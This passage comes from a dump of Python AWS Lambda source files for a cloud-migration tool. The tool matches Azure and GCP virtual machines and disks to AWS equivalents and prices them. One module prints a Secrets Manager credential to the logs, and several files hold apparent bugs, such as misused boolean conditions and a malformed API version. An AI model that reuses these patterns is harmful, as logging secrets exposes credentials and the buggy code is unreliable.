Attr('provider').eq('GCP'))\n )\n\nprint(\"begin matching...\")\ncounter = 0\n# add in the AWS matches to each vm!\nfor vm in third_party_vm['Items']:\n counter = counter + 1\n print(str(counter) + ' ' + vm['name'])\n\n matches = match_vm(vm,table)\n table.update_item(\n Key={\n 'name': vm['name']\n },\n UpdateExpression=\"set AWS_matches=:a\",\n ExpressionAttributeValues={\n ':a': matches\n },\n ReturnValues=\"UPDATED_NEW\"\n )\nprint(\"done!\")\n\n\n\n\n"},{"alpha_fraction":0.5751320123672485,"alphanum_fraction":0.5904944539070129,"avg_line_length":36.85454559326172,"blob_id":"8748d7d2a863e1ae7456903d9898e5cc6b19ee32","content_id":"dbfd873639a5fd65dc61d6b38990e9b028be4bb3","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2083,"license_type":"no_license","max_line_length":129,"num_lines":55,"path":"/bluewhale_disk_match.py","repo_name":"Caleb-Grode/bluewhale","src_encoding":"UTF-8","text":"# Author: Caleb Grode\n# Purpose: Matches the 3rd party disk offerings with AWS matches\n# This code will need to be maintaned as the matches are done through a dict\n# we at first wanted to match based off IOPs but the way the different providers list or calculate IOPs differs a lot\n# so the disks are martched by use case\n\nimport json\nimport boto3\nfrom boto3.dynamodb.conditions import Attr\n\ndef lambda_handler(event, context):\n # there are only a few general categories of block storage available so we match the instances\n # with a hard coded dict--the GCP disks calculate IOPs in a very different way than AWS or Azure\n # so I went with a hard coded solution\n # because of this, this code will need to be maintained\n match_map = {\n 'pd-extreme' : ['io1', 'io2'],\n 'pd-ssd' : ['gp2', 'gp3'],\n 'pd-balanced' : ['gp2', 'gp3'],\n 'pd-standard' : ['st1', 'sc1'],\n 'Premium_LRS': ['io1', 'io2','gp2', 'gp3'],\n 'Premium_ZRS': ['io1', 'io2','gp2', 'gp3'],\n 'StandardSSD_LRS' : ['gp2', 'gp3'],\n 'StandardSSD_ZRS' : ['gp2', 'gp3'],\n 'Standard_LRS' : ['st1', 'sc1'],\n 'UltraSSD_LRS' : ['io1', 'io2']\n }\n \n \n dynamodb = boto3.resource('dynamodb', endpoint_url=\"https://dynamodb.us-east-1.amazonaws.com\")\n\n table = dynamodb.Table('bluewhale_resources')\n \n print(\"Getting data...\")\n # get azure and gcp disk data\n third_party_disk = table.scan(\n FilterExpression= Attr('resource type').eq('virtual disk') & (Attr('provider').eq('Azure') or Attr('provider').eq('GCP'))\n )\n # add the matches into the DB entries!\n for disk in third_party_disk['Items']:\n table.update_item(\n Key={\n 'name': disk['name']\n },\n UpdateExpression=\"set AWS_matches=:a\",\n ExpressionAttributeValues={\n ':a': match_map[disk['name']]\n },\n ReturnValues=\"UPDATED_NEW\"\n )\n print(\"done!\")\n return {\n 'statusCode': 200,\n 'body': json.dumps('Matching complete!')\n }\n\n"},{"alpha_fraction":0.5218985080718994,"alphanum_fraction":0.5309666395187378,"avg_line_length":36.550724029541016,"blob_id":"faa71b71a0eb233794af03064ffbf9c44541437c","content_id":"82f1345fc9250176be02b31cd675f2d6818edac4","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":5183,"license_type":"no_license","max_line_length":157,"num_lines":138,"path":"/bluewhale_calculate_cost.py","repo_name":"Caleb-Grode/bluewhale","src_encoding":"UTF-8","text":"# Author: Caleb Grode\n# Purpose: take in list of AWS resources and calculate the price per month for these resources\n# Inputs: list of dicts containing details about ec2 instances, list of dicts containing details about EBS resources\n# Output: the input dicts with the price per month added into the cost and the total cost per month of all instances\n\nimport json\nimport boto3\n\n\ndef get_ec2_cost(reg, ec2, os, quantity, pc, hours):\n # if this region, ec2 and os combo is not available this code might fail\n # so we will try + catch and return None if there is an issue\n try:\n paginator = pc.get_paginator('get_products')\n\n response_iterator = paginator.paginate(\n ServiceCode=\"AmazonEC2\",\n Filters=[\n {\n 'Type': 'TERM_MATCH',\n 'Field': 'location',\n 'Value': reg\n },\n {\n 'Type': 'TERM_MATCH',\n 'Field': 'instanceType',\n 'Value': ec2\n },\n {\n 'Type': 'TERM_MATCH',\n 'Field': 'capacitystatus',\n 'Value': 'Used'\n },\n {\n 'Type': 'TERM_MATCH',\n 'Field': 'tenancy',\n 'Value': 'Shared'\n },\n {\n 'Type': 'TERM_MATCH',\n 'Field': 'preInstalledSw',\n 'Value': 'NA'\n },\n {\n 'Type': 'TERM_MATCH',\n 'Field': 'operatingSystem',\n 'Value': os\n }\n ],\n PaginationConfig={\n 'PageSize': 100\n }\n )\n\n products = []\n for response in response_iterator:\n for priceItem in response[\"PriceList\"]:\n priceItemJson = json.loads(priceItem)\n products.append(priceItemJson)\n \n # parse out the data we want\n sku = products[0]['product']['sku']\n on_demand_code = sku + '.' + 'JRTCKXETXF'\n price_per_hr_code = '6YS6EN2CT7'\n price_per_hour_usd = products[0]['terms']['OnDemand'][on_demand_code]['priceDimensions'][on_demand_code+'.'+price_per_hr_code]['pricePerUnit']['USD']\n \n \n\n return round(hours * float(price_per_hour_usd) * int(quantity), 2)\n except:\n return 0\n\ndef get_ebs_cost(region, ebs_type, ebs_name, quantity, size_GB, pc):\n\n response = pc.get_products(ServiceCode='AmazonEC2', Filters=[\n {'Type': 'TERM_MATCH', 'Field': 'volumeType', 'Value': ebs_type}, \n {'Type': 'TERM_MATCH', 'Field': 'location', 'Value': region}])\n \n products = []\n for priceItem in response[\"PriceList\"]:\n priceItemJson = json.loads(priceItem)\n products.append(priceItemJson)\n print(priceItemJson)\n \n # parse out the data we want\n price_per_hour_usd = 0 # to prevent return 'None'\n for ebs in products: # this goes through the ebse of type 'ebs_type' and selects the price\n sku = ebs['product']['sku']\n on_demand_code = sku + '.' + 'JRTCKXETXF'\n price_per_hr_code = '6YS6EN2CT7'\n if ebs_name == ebs['product'][\"attributes\"]['volumeApiName']:\n price_per_hour_usd = ebs['terms']['OnDemand'][on_demand_code]['priceDimensions'][on_demand_code+'.'+price_per_hr_code]['pricePerUnit']['USD']\n \n \n \n return round(float(price_per_hour_usd) * int(quantity) * int(size_GB), 2)\n\n\ndef lambda_handler(event, context):\n json_data = json.loads(event['body'])\n #json_data = event\n\n ec2 = json_data['ec2'] # dicts of {'name': name, 'region':region, 'os':os, 'quantity': quantity}\n ebs = json_data['ebs'] # dicts of {'name': name, 'region': region}\n total_cost_per_month = 0\n total_cost_per_month_EC2 = 0\n total_cost_per_month_EBS = 0\n pricing_client = boto3.client('pricing', region_name='us-east-1')\n\n # get cost info for all ec2 instances\n for e in ec2:\n # update individual price\n e['price per month USD'] = get_ec2_cost(e['region'], e['name'], e['os'], e['quantity'], pricing_client, 730)\n # update the total cost\n total_cost_per_month_EC2 += e['price per month USD']\n # get cost info for all ebs volumes\n for x in ebs:\n # update individual price\n x['price per month USD'] = get_ebs_cost(x['region'], x['type'], x['name'], x['quantity'], x['GB'], pricing_client)\n # update the total cost\n total_cost_per_month_EBS += x['price per month USD'] \n \n total_cost_per_month = total_cost_per_month_EBS + total_cost_per_month_EC2\n \n return {\n 'statusCode': 200,\n 'headers' : {\n 'Access-Control-Allow-Origin': '*',\n },\n 'body': json.dumps({\n 'compute costs' : ec2,\n 'storage costs' : ebs,\n 'total EC2 cost per month USD' : total_cost_per_month_EC2,\n 'total EBS cost per month USD' : total_cost_per_month_EBS,\n 'total cost per month USD' : total_cost_per_month\n\n })\n }\n\n"},{"alpha_fraction":0.6456953883171082,"alphanum_fraction":0.6556291580200195,"avg_line_length":36.875,"blob_id":"f83631ebb1c95617065d16951a508f48021636c3","content_id":"e42632f85d1d9a6a84e40a091d1e3b11bc1dbc57","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":302,"license_type":"no_license","max_line_length":144,"num_lines":8,"path":"/gcp_refresh_resources/api_gateway_test.py","repo_name":"Caleb-Grode/bluewhale","src_encoding":"UTF-8","text":"import requests\nimport json\n\ndata = requests.get('https://pz9xze9vsl.execute-api.us-east-1.amazonaws.com/prod/virtual-machines/list?provider=Azure&category=general purpose')\nj = json.loads(data.text)\nfor machine in j['Items']:\n print(machine['name'])\n print('...................................')"},{"alpha_fraction":0.594629168510437,"alphanum_fraction":0.6035805344581604,"avg_line_length":26.964284896850586,"blob_id":"e43ad7a3c2cc1e1c839398e91213b7c57b1cc45b","content_id":"7994cd79ff1defd1fdce9fe2b2cc46133e8c0649","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":782,"license_type":"no_license","max_line_length":98,"num_lines":28,"path":"/bluewhale_disk_provider_list.py","repo_name":"Caleb-Grode/bluewhale","src_encoding":"UTF-8","text":"# Author: Caleb Grode\n# Purpose: Lists the disk options given a provider\n\nimport json\nimport boto3\nfrom boto3.dynamodb.conditions import Attr\n\ndef lambda_handler(event, context):\n # parameters\n provider = event['queryStringParameters']['provider']\n dynamodb = boto3.resource('dynamodb', endpoint_url=\"https://dynamodb.us-east-1.amazonaws.com\")\n\n table = dynamodb.Table('bluewhale_resources')\n \n print(\"Getting data...\")\n # get disk data\n disks = table.scan(\n FilterExpression= Attr('resource type').eq('virtual disk') \n & Attr('provider').eq(provider)\n )\n\n return {\n 'statusCode': 200,\n 'headers' : {\n 'Access-Control-Allow-Origin': '*',\n },\n 'body': json.dumps(disks)\n }"},{"alpha_fraction":0.5368931889533997,"alphanum_fraction":0.5368931889533997,"avg_line_length":21.77777862548828,"blob_id":"a2b6aafcd7efbcaf9fd05052c8f7f34d656f39ed","content_id":"495c85e992e106d81de0d342d6122a9b6ede3225","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1030,"license_type":"no_license","max_line_length":146,"num_lines":45,"path":"/testing+data/parseAzureSKU.py","repo_name":"Caleb-Grode/bluewhale","src_encoding":"UTF-8","text":"import json\n\n# parse list-sku azure api calls\n\nwith open('list-skus.json') as json_file:\n data = json.load(json_file)\n\nvm = []\ndisk = []\nfor j in data:\n if j['resourceType'] == 'virtualMachines':\n vm.append(\n j\n )\n elif j['resourceType'] == 'disks':\n disk.append(\n j\n )\n\n\nall_vm_specs = []\nfor v in vm:\n vm_specs = {}\n vm_specs['name'] = v['name']\n for c in v['capabilities']:\n if c['name'] == 'vCPUs' or c['name'] == 'MemoryGB' or c['name'] == 'vCPUsAvailable' or c['name'] == 'ACUs' or c['name'] == 'vCPUsPerCore':\n vm_specs[c['name']] = c['value']\n all_vm_specs.append(vm_specs)\n\nall_disk_specs = []\nfor d in disk:\n disk_specs = {}\n disk_specs['name'] = v['name']\n disk_specs['size'] = v['size']\n for c in d['capabilities']:\n disk_specs[c['name']] = c['value']\n all_disk_specs.append(disk_specs)\n\nfor dict in all_vm_specs:\n print(dict)\n print()\n\n#for dict in all_disk_specs:\n# print(dict)\n# print()\n \n"},{"alpha_fraction":0.5766052007675171,"alphanum_fraction":0.5825386643409729,"avg_line_length":33.19565200805664,"blob_id":"baade52a5e82588fa54dc6239e307f98e10e13de","content_id":"71bdefd908d775445f338aca74d0815c741f1465","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":4719,"license_type":"no_license","max_line_length":178,"num_lines":138,"path":"/bluewhale_azure_refresh.py","repo_name":"Caleb-Grode/bluewhale","src_encoding":"UTF-8","text":"# Author: Caleb Grode\n# Purpose: This function calls an Azure API to retrieve specs about the different Azure VM & virtual disk offerings. \n# It categorizes and selects the desired specs for every returned instance and puts them into the DynamoDB\n# table 'bluewhale_resources'\n\nimport json\nimport requests\nimport adal\nimport boto3\nfrom decimal import Decimal\nimport os\n\n# timeout: 30 seconds (takes about 15)\n# memory: 512MB (uses about 251)\n\ndef lambda_handler(event, context):\n\n # info for azure authentification\n azure_client_id = os.environ['azure_client_id']\n azure_secret = os.environ['azure_secret']\n azure_subscription_id = os.environ['azure_subscription_id']\n azure_tenant = os.environ['azure_tenant']\n authority_url = 'https://login.microsoftonline.com/' + azure_tenant\n resource = 'https://management.azure.com/'\n \n # for API request\n context = adal.AuthenticationContext(authority_url)\n token = context.acquire_token_with_client_credentials(resource, azure_client_id, azure_secret)\n \n # API request header\n headers = {'Authorization': 'Bearer ' + token['accessToken'], 'Content-Type': 'application/json'}\n \n # API params and url\n params = {'api-version': '019-04-01'}\n url = 'https://management.azure.com/subscriptions/'+azure_subscription_id+'/providers/Microsoft.Compute/skus'\n \n \n print(\"calling API\")\n azure_SKUs_JSON = requests.get(url, headers=headers, params=params)\n print(\"API called!\")\n azure_SKUs_JSON = azure_SKUs_JSON.json()\n\n \n # now we have our Azure data\n # begin parsing\n \n vm = []\n disk = []\n for j in azure_SKUs_JSON['value']:\n # grab all VMs\n if j['resourceType'] == 'virtualMachines':\n vm.append(\n j\n )\n # grab all disks\n elif j['resourceType'] == 'disks':\n disk.append(\n j\n )\n \n # associates the first letter of a vm size with its (AWS equivalent) compute category\n vm_types = {\n 'D':'general purpose', 'A':'general purpose', 'B':'general purpose', \n 'F':'compute optimized','H':'compute optimized',\n 'E':'memory optimized', 'M':'memory optimized', 'G':'memory optimized',\n 'L':'storage optimized',\n 'N':'accelerated computing',\n 'P':'unknown edge case' \n }\n \n # parse out the specifications of the VMs\n all_vm_specs = []\n name_dict = {}\n for v in vm: \n vm_specs = {}\n vm_specs['name'] = v['name']\n vm_specs['virtual machine type'] = vm_types[v['size'][0]] # categorize the vm type based off above dictionary\n for c in v['capabilities']:\n if c['name'] == 'vCPUs' or c['name'] == 'MemoryGB' or c['name'] == 'ACUs' or c['name'] == 'vCPUsPerCore' or c['name'] == 'MaxResourceVolumeMB' or c['name'] == 'GPUs':\n \n if c['name'] == 'MemoryGB':\n vm_specs['MemoryMB'] = int(Decimal(c['value'])*1000) # convert to MB for better matching\n if c['name'] == 'vCPUs' or c['name'] == 'vCPUsPerCore':\n vm_specs[c['name']] = int(c['value'])\n else:\n vm_specs[c['name']] = c['value']\n name_dict[v['name']] = vm_specs\n\n \n\n\n # add in data columns\n for key,value in name_dict.items(): \n value['resource type'] = 'virtual machine'\n value['provider'] = 'Azure'\n all_vm_specs.append(value)\n \n \n # parse out the specifications of the disks\n name_dict.clear()\n all_disk_specs = []\n for d in disk:\n disk_specs = {}\n disk_specs['name'] = d['name']\n disk_specs['size'] = d['size']\n for c in d['capabilities']:\n disk_specs[c['name']] = c['value']\n name_dict[d['name']] = disk_specs\n \n for ky,val in name_dict.items():\n val['resource type'] = 'virtual disk'\n val['provider'] = 'Azure'\n all_disk_specs.append(val)\n\n # now we have the data we want!\n\n\n print('Number of VMs: ' + str(len(all_vm_specs)))\n print('Number of disks: ' + str(len(all_disk_specs)))\n\n\n print(\"Inputing VMs into DB...\")\n # put the data into the database\n azure_vm_table = boto3.resource('dynamodb').Table('bluewhale_resources')\n for item in all_vm_specs:\n azure_vm_table.put_item(Item=item)\n print(\"Done!\")\n \n print(\"Inputing disks into DB...\")\n azure_disk_table = boto3.resource('dynamodb').Table('bluewhale_resources')\n for item in all_disk_specs:\n azure_disk_table.put_item(Item=item)\n print(\"Done!\")\n \n return {\n 'statusCode': 200,\n 'body': json.dumps('Refresh complete!')\n }\n"},{"alpha_fraction":0.5076673030853271,"alphanum_fraction":0.515566885471344,"avg_line_length":32.31007766723633,"blob_id":"c851bbe8478b6596063d82f50321a8ae3eb0a151","content_id":"734ea1bb943db6c3e109b35227ef29f91a5c939d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":4304,"license_type":"no_license","max_line_length":157,"num_lines":129,"path":"/bluewhale_get_vm_AWS_match.py","repo_name":"Caleb-Grode/bluewhale","src_encoding":"UTF-8","text":"# Author: Caleb Grode\n# Input: Third party vm name, AWS region name, operating system\n# Output: AWS EC2 match(s) with price in desired region\n# Purpose: On the front end the customer will select a vm from gcp or azure and the backend will need to \n# return the available EC2 matches as well as their price in the desired region\n# This code was heavily inspired by this blog: https://www.sentiatechblog.com/using-the-ec2-price-list-api\nimport json\nimport boto3\nfrom boto3.dynamodb.conditions import Key\n\ndef get_price_info(reg, ec2, os, pc):\n # if this region, ec2 and os combo is not available this code might fail\n # so we will try + catch and return None if there is an issue\n try:\n paginator = pc.get_paginator('get_products')\n\n response_iterator = paginator.paginate(\n ServiceCode=\"AmazonEC2\",\n Filters=[\n {\n 'Type': 'TERM_MATCH',\n 'Field': 'location',\n 'Value': reg\n },\n {\n 'Type': 'TERM_MATCH',\n 'Field': 'instanceType',\n 'Value': ec2\n },\n {\n 'Type': 'TERM_MATCH',\n 'Field': 'capacitystatus',\n 'Value': 'Used'\n },\n {\n 'Type': 'TERM_MATCH',\n 'Field': 'tenancy',\n 'Value': 'Shared'\n },\n {\n 'Type': 'TERM_MATCH',\n 'Field': 'preInstalledSw',\n 'Value': 'NA'\n },\n {\n 'Type': 'TERM_MATCH',\n 'Field': 'operatingSystem',\n 'Value': os\n }\n ],\n PaginationConfig={\n 'PageSize': 100\n }\n )\n\n products = []\n for response in response_iterator:\n for priceItem in response[\"PriceList\"]:\n priceItemJson = json.loads(priceItem)\n products.append(priceItemJson)\n \n # parse out the data we want\n sku = products[0]['product']['sku']\n on_demand_code = sku + '.' + 'JRTCKXETXF'\n price_per_hr_code = '6YS6EN2CT7'\n price_per_hour_usd = products[0]['terms']['OnDemand'][on_demand_code]['priceDimensions'][on_demand_code+'.'+price_per_hr_code]['pricePerUnit']['USD']\n instance_meta_data = products[0]['product']['attributes']\n \n # build a dict of the data we want\n data = {\n 'name' : ec2,\n 'price per hour USD' : price_per_hour_usd,\n 'instance meta data' : instance_meta_data\n }\n\n return data\n except:\n return None\n\n\n\ndef lambda_handler(event, context):\n # parameters\n vm_name = event['queryStringParameters']['vm-to-match']\n region = event['queryStringParameters']['region']\n operating_system = event['queryStringParameters']['os']\n matches = []\n match_data = []\n\n dynamodb = boto3.resource('dynamodb', endpoint_url=\"https://dynamodb.us-east-1.amazonaws.com\")\n\n table = dynamodb.Table('bluewhale_resources')\n\n # query for potential matches\n data = table.query(\n # virtual machine from AWS which has the same type and more or equal vCPUs and similar ram capacity\n KeyConditionExpression= Key('name').eq(vm_name)\n )\n\n print(data['Items'][0])\n matches = data['Items'][0]['AWS_matches']\n\n pricing_client = boto3.client('pricing', region_name='us-east-1')\n\n\n \n\n for ec2 in matches:\n price_info = get_price_info(region, ec2, operating_system, pricing_client)\n if price_info != None:\n match_data.append(price_info)\n\n if not match_data:\n print(\"Region or OS not availiable for current selection\")\n return {\n 'statusCode': 500,\n 'headers' : {\n 'Access-Control-Allow-Origin': '*',\n },\n 'body': json.dumps(\"Invalid region + os selection\")\n }\n else:\n return {\n 'statusCode': 200,\n 'headers' : {\n 'Access-Control-Allow-Origin': '*',\n },\n 'body': json.dumps(match_data)\n }\n\n\n\n\n\n\n\n"},{"alpha_fraction":0.6315377354621887,"alphanum_fraction":0.6358472108840942,"avg_line_length":39.84000015258789,"blob_id":"6d4b0923de85376a3a4ac3d7757547b273cf11e0","content_id":"7f612eae4f5cd438f16cecbe119a7a0aa15bd647","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":5105,"license_type":"no_license","max_line_length":108,"num_lines":125,"path":"/gcp_refresh_resources/bluewhale_gcp_refresh.py","repo_name":"Caleb-Grode/bluewhale","src_encoding":"UTF-8","text":"# Author: Caleb Grode\n# Purpose: Refresh the databse with GCP vm & Disk offerings\n\nimport json\nimport boto3\nimport os\nfrom googleapiclient import discovery\nfrom oauth2client.client import GoogleCredentials\nimport base64\nfrom botocore.exceptions import ClientError\n\n\ndef get_secret():\n secret_name = \"bluewhale_gcp_app_creds\"\n region_name = \"us-east-1\"\n\n # Create a Secrets Manager client\n session = boto3.session.Session()\n client = session.client(\n service_name='secretsmanager',\n region_name=region_name\n )\n\n # In this sample we only handle the specific exceptions for the 'GetSecretValue' API.\n # See https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html\n # We rethrow the exception by default.\n\n try:\n get_secret_value_response = client.get_secret_value(\n SecretId=secret_name\n )\n except ClientError as e:\n if e.response['Error']['Code'] == 'DecryptionFailureException':\n # Secrets Manager can't decrypt the protected secret text using the provided KMS key.\n # Deal with the exception here, and/or rethrow at your discretion.\n raise e\n elif e.response['Error']['Code'] == 'InternalServiceErrorException':\n # An error occurred on the server side.\n # Deal with the exception here, and/or rethrow at your discretion.\n raise e\n elif e.response['Error']['Code'] == 'InvalidParameterException':\n # You provided an invalid value for a parameter.\n # Deal with the exception here, and/or rethrow at your discretion.\n raise e\n elif e.response['Error']['Code'] == 'InvalidRequestException':\n # You provided a parameter value that is not valid for the current state of the resource.\n # Deal with the exception here, and/or rethrow at your discretion.\n raise e\n elif e.response['Error']['Code'] == 'ResourceNotFoundException':\n # We can't find the resource that you asked for.\n # Deal with the exception here, and/or rethrow at your discretion.\n raise e\n else:\n # Decrypts secret using the associated KMS CMK.\n # Depending on whether the secret is a string or binary, one of these fields will be populated.\n if 'SecretString' in get_secret_value_response:\n secret = get_secret_value_response['SecretString']\n return secret\n else:\n decoded_binary_secret = base64.b64decode(get_secret_value_response['SecretBinary'])\n return decoded_binary_secret\n\nprint(get_secret())\nsecret = json.loads(get_secret())\n\nwith open('/tmp/cred.json', 'w') as json_file:\n json.dump(secret, json_file)\n\nos.environ['GOOGLE_APPLICATION_CREDENTIALS']='/tmp/cred.json'\n\ndef lambda_handler(event, context):\n # we want the information about the virtual machines that GCP offers\n # their API gives us info by GCP zone\n # to get all vm info we thus need to look through all zones\n zones = []\n credentials = GoogleCredentials.get_application_default()\n\n service = discovery.build('compute', 'v1', credentials=credentials)\n # Project ID for this request.\n project = 'learned-iris-320618'\n request = service.zones().list(project=project)\n while request is not None:\n response = request.execute()\n\n for zone in response['items']:\n # TODO: Change code below to process each `zone` resource:\n zones.append(zone['name'])\n\n request = service.zones().list_next(previous_request=request, previous_response=response)\n machines = {}\n\n # associates the first letter of a machine with its (AWS equivalent) compute category\n vm_types = {\n 'e':'general purpose', 'n':'general purpose', 'f':'general purpose', 'g':'general purpose',\n 'c':'compute optimized',\n 'm':'memory optimized',\n 'a':'accelerated computing' \n }\n\n\n # get machine for each zones\n for zone in zones:\n request = service.machineTypes().list(project=project, zone=zone)\n while request is not None:\n response = request.execute()\n # get each machines details\n for machine_type in response['items']:\n machines[machine_type['name']] = {\n 'name' : machine_type['name'],\n 'vCPUs' : machine_type['guestCpus'],\n 'MemoryMB' : machine_type['memoryMb'],\n 'virtual machine type' : vm_types[machine_type['name'][0]],\n 'provider': 'GCP',\n 'resource type': 'virtual machine'\n }\n request = service.machineTypes().list_next(previous_request=request, previous_response=response)\n # now we have a list of all the machines!\n resource_table = boto3.resource('dynamodb').Table('bluewhale_resources')\n # put machines into the DB\n for k in machines.keys():\n resource_table.put_item(Item=machines[k])\n return {\n 'statusCode': 200,\n 'body': json.dumps('Refresh complete!')\n }\n"},{"alpha_fraction":0.5962199568748474,"alphanum_fraction":0.6048110127449036,"avg_line_length":30.45945930480957,"blob_id":"a1716cf6f744433a72180afbff4e2fb03553bb18","content_id":"c51942800f2b98bc989d34d36099d5c2b176e172","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1164,"license_type":"no_license","max_line_length":85,"num_lines":37,"path":"/bluewhale_region_name_list.py","repo_name":"Caleb-Grode/bluewhale","src_encoding":"UTF-8","text":"# Author: Caleb Grode\n# Purpose: Returns region NAMES not CODES. We need these for pricing API call.\n# A region name: 'US East (Ohio)'. A region code: 'us-east-2'\n\nfrom inspect import Parameter\nimport json\nimport boto3\n\ndef lambda_handler(event, context):\n\n # List all regions codes\n data = boto3.client('ec2').describe_regions(AllRegions=True)\n region_codes = []\n for r in data['Regions']:\n region_codes.append(r['RegionName'])\n while \"NextToken\" in data:\n data = boto3.client('ec2').describe_regions()\n for r in data['Regions']:\n region_codes.append(r['RegionName'])\n \n \n # Get all region names using the region codes\n client = boto3.client('ssm')\n region_names = []\n for region in region_codes:\n response = client.get_parameter(\n Name='/aws/service/global-infrastructure/regions/' + region + '/longName'\n )\n region_names.append(response['Parameter']['Value']) \n print(region_names)\n return {\n 'statusCode': 200,\n 'headers' : {\n 'Access-Control-Allow-Origin': '*',\n },\n 'body': json.dumps(region_names)\n }\n"},{"alpha_fraction":0.5864537358283997,"alphanum_fraction":0.607929527759552,"avg_line_length":38.5,"blob_id":"fb45aca1ddf191a957382c2acdc9d977cfa1e51a","content_id":"cdb401a14452c28cbf7e5b711eedea78327befe3","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1816,"license_type":"no_license","max_line_length":109,"num_lines":46,"path":"/testing+data/ebs_pricing.py","repo_name":"Caleb-Grode/bluewhale","src_encoding":"UTF-8","text":"import boto3\nimport json\n\n# code modified from: https://medium.com/@stefanroman/calculate-price-of-ebs-volumes-with-python-76687bb24530\naws_region_map = {\n 'ca-central-1': 'Canada (Central)',\n 'ap-northeast-3': 'Asia Pacific (Osaka-Local)',\n 'us-east-1': 'US East (N. Virginia)',\n 'ap-northeast-2': 'Asia Pacific (Seoul)',\n 'us-gov-west-1': 'AWS GovCloud (US)',\n 'us-east-2': 'US East (Ohio)',\n 'ap-northeast-1': 'Asia Pacific (Tokyo)',\n 'ap-south-1': 'Asia Pacific (Mumbai)',\n 'ap-southeast-2': 'Asia Pacific (Sydney)',\n 'ap-southeast-1': 'Asia Pacific (Singapore)',\n 'sa-east-1': 'South America (Sao Paulo)',\n 'us-west-2': 'US West (Oregon)',\n 'eu-west-1': 'EU (Ireland)',\n 'eu-west-3': 'EU (Paris)',\n 'eu-west-2': 'EU (London)',\n 'us-west-1': 'US West (N. California)',\n 'eu-central-1': 'EU (Frankfurt)'\n }\nebs_name_map = {\n 'standard': 'Magnetic',\n 'gp2': 'General Purpose',\n 'io1': 'Provisioned IOPS',\n 'st1': 'Throughput Optimized HDD',\n 'sc1': 'Cold HDD'\n}\nregion = 'EU (Paris)'\n\npricing_auth = boto3.client('pricing', region_name=\"us-east-1\")\n\nfor ebs_code in ebs_name_map:\n response = pricing_auth.get_products(ServiceCode='AmazonEC2', Filters=[\n {'Type': 'TERM_MATCH', 'Field': 'volumeType', 'Value': ebs_name_map[ebs_code]}, \n {'Type': 'TERM_MATCH', 'Field': 'location', 'Value': region}])\n for result in response['PriceList']:\n json_result = json.loads(result)\n for json_result_level_1 in json_result['terms']['OnDemand'].values():\n for json_result_level_2 in json_result_level_1['priceDimensions'].values():\n for price_value in json_result_level_2['pricePerUnit'].values():\n continue\n ebs_name_map[ebs_code] = float(price_value)\n print(ebs_name_map)"},{"alpha_fraction":0.6125080585479736,"alphanum_fraction":0.6150870323181152,"avg_line_length":35.9523811340332,"blob_id":"b5cd4a35f501da5b405f66288ac579804efef400","content_id":"12af268e787f8f8349136feac0dbadd51eb86879","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1551,"license_type":"no_license","max_line_length":112,"num_lines":42,"path":"/testing+data/ebs_details.py","repo_name":"Caleb-Grode/bluewhale","src_encoding":"UTF-8","text":"import json\nimport boto3\n\ndef ebs_refresh():\n\n \n # this is one of the few hard coded values, if a new category is updated, this will need to change\n ebs_categories = ['Magnetic', 'General Purpose', 'Provisioned IOPS', 'Throughput Optimized HDD', 'Cold HDD']\n\n pricing_client = boto3.client('pricing', region_name='us-east-1')\n\n # get all ebs products\n # this block is an API call that parses the json data\n ebs_details = []\n ebs_names = []\n for ebs_type in ebs_categories:\n response = [\"NextToken\"]\n while \"NextToken\" in response:\n response = pricing_client.get_products(ServiceCode='AmazonEC2', Filters=[\n {'Type': 'TERM_MATCH', 'Field': 'volumeType', 'Value': ebs_type}])\n\n for priceItem in response[\"PriceList\"]:\n priceItemJson = json.loads(priceItem)\n name = priceItemJson['product'][\"attributes\"]['volumeApiName']\n if name not in ebs_names:\n ebs_names.append(name)\n ebs_details.append(priceItemJson)\n \n # we now have data about the volumes but need to parse out and only grab that data we want for the DB\n refresh_data = []\n # get the name and attributes for each!\n for details in ebs_details:\n ebs_data = details['product']['attributes']\n ebs_data['name'] = details['product']['attributes']['volumeApiName']\n ebs_data['provider'] = 'AWS'\n ebs_data['resource type'] = 'virtual disk'\n refresh_data.append(ebs_data)\n \n\n\n\nebs_refresh()"},{"alpha_fraction":0.5732159614562988,"alphanum_fraction":0.5797034502029419,"avg_line_length":35.2689094543457,"blob_id":"5c7928f507f5a6a264add46c1d3e118f77ae8b8d","content_id":"63a88d65f93210caaf4b827adc91bbbe5f39f058","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":4316,"license_type":"no_license","max_line_length":141,"num_lines":119,"path":"/bluewhale_vm_match.py","repo_name":"Caleb-Grode/bluewhale","src_encoding":"UTF-8","text":"# Author: Caleb Grode\n# Purpose: Match each GCP and Azure vm with up to 5 AWS matches. Add string set of AWS instance names to each 3rd party vm object in DynamoDB\n\nimport json\nimport boto3\nfrom boto3.dynamodb.conditions import Key\nfrom boto3.dynamodb.conditions import Attr\n\n# this function can throttle DynamoDB\n# with 5 RCUs it takes about 26 minutes\n# with 250 RCUs it takes about 1.5 minutes\n\ndef match_vm(vm,t):\n # get vm specs\n vCPUs = vm['vCPUs']\n memory = vm['MemoryMB']\n type = vm['virtual machine type']\n\n # query for potential matches\n matches = t.scan(\n # virtual machine from AWS which has the same type and more or equal vCPUs and similar ram capacity\n FilterExpression= Attr('resource type').eq('virtual machine') \n & Attr('provider').eq('AWS')\n & Attr('virtual machine type').eq(type)\n & Attr('vCPUs').gte(vCPUs)\n # memory in range inf to (-20%)\n & Attr('MemoryMB').gte(int(float(memory) - (float(memory)*0.2)))\n )\n\n\n # edge case where AWS does not offer large enough instance in terms of vCPUs\n if not matches['Items']:\n # if this is the case, we will return the largest possible instance\n # get all of the specified type\n data = t.scan(\n FilterExpression= Attr('resource type').eq('virtual machine') \n & Attr('provider').eq('AWS')\n & Attr('virtual machine 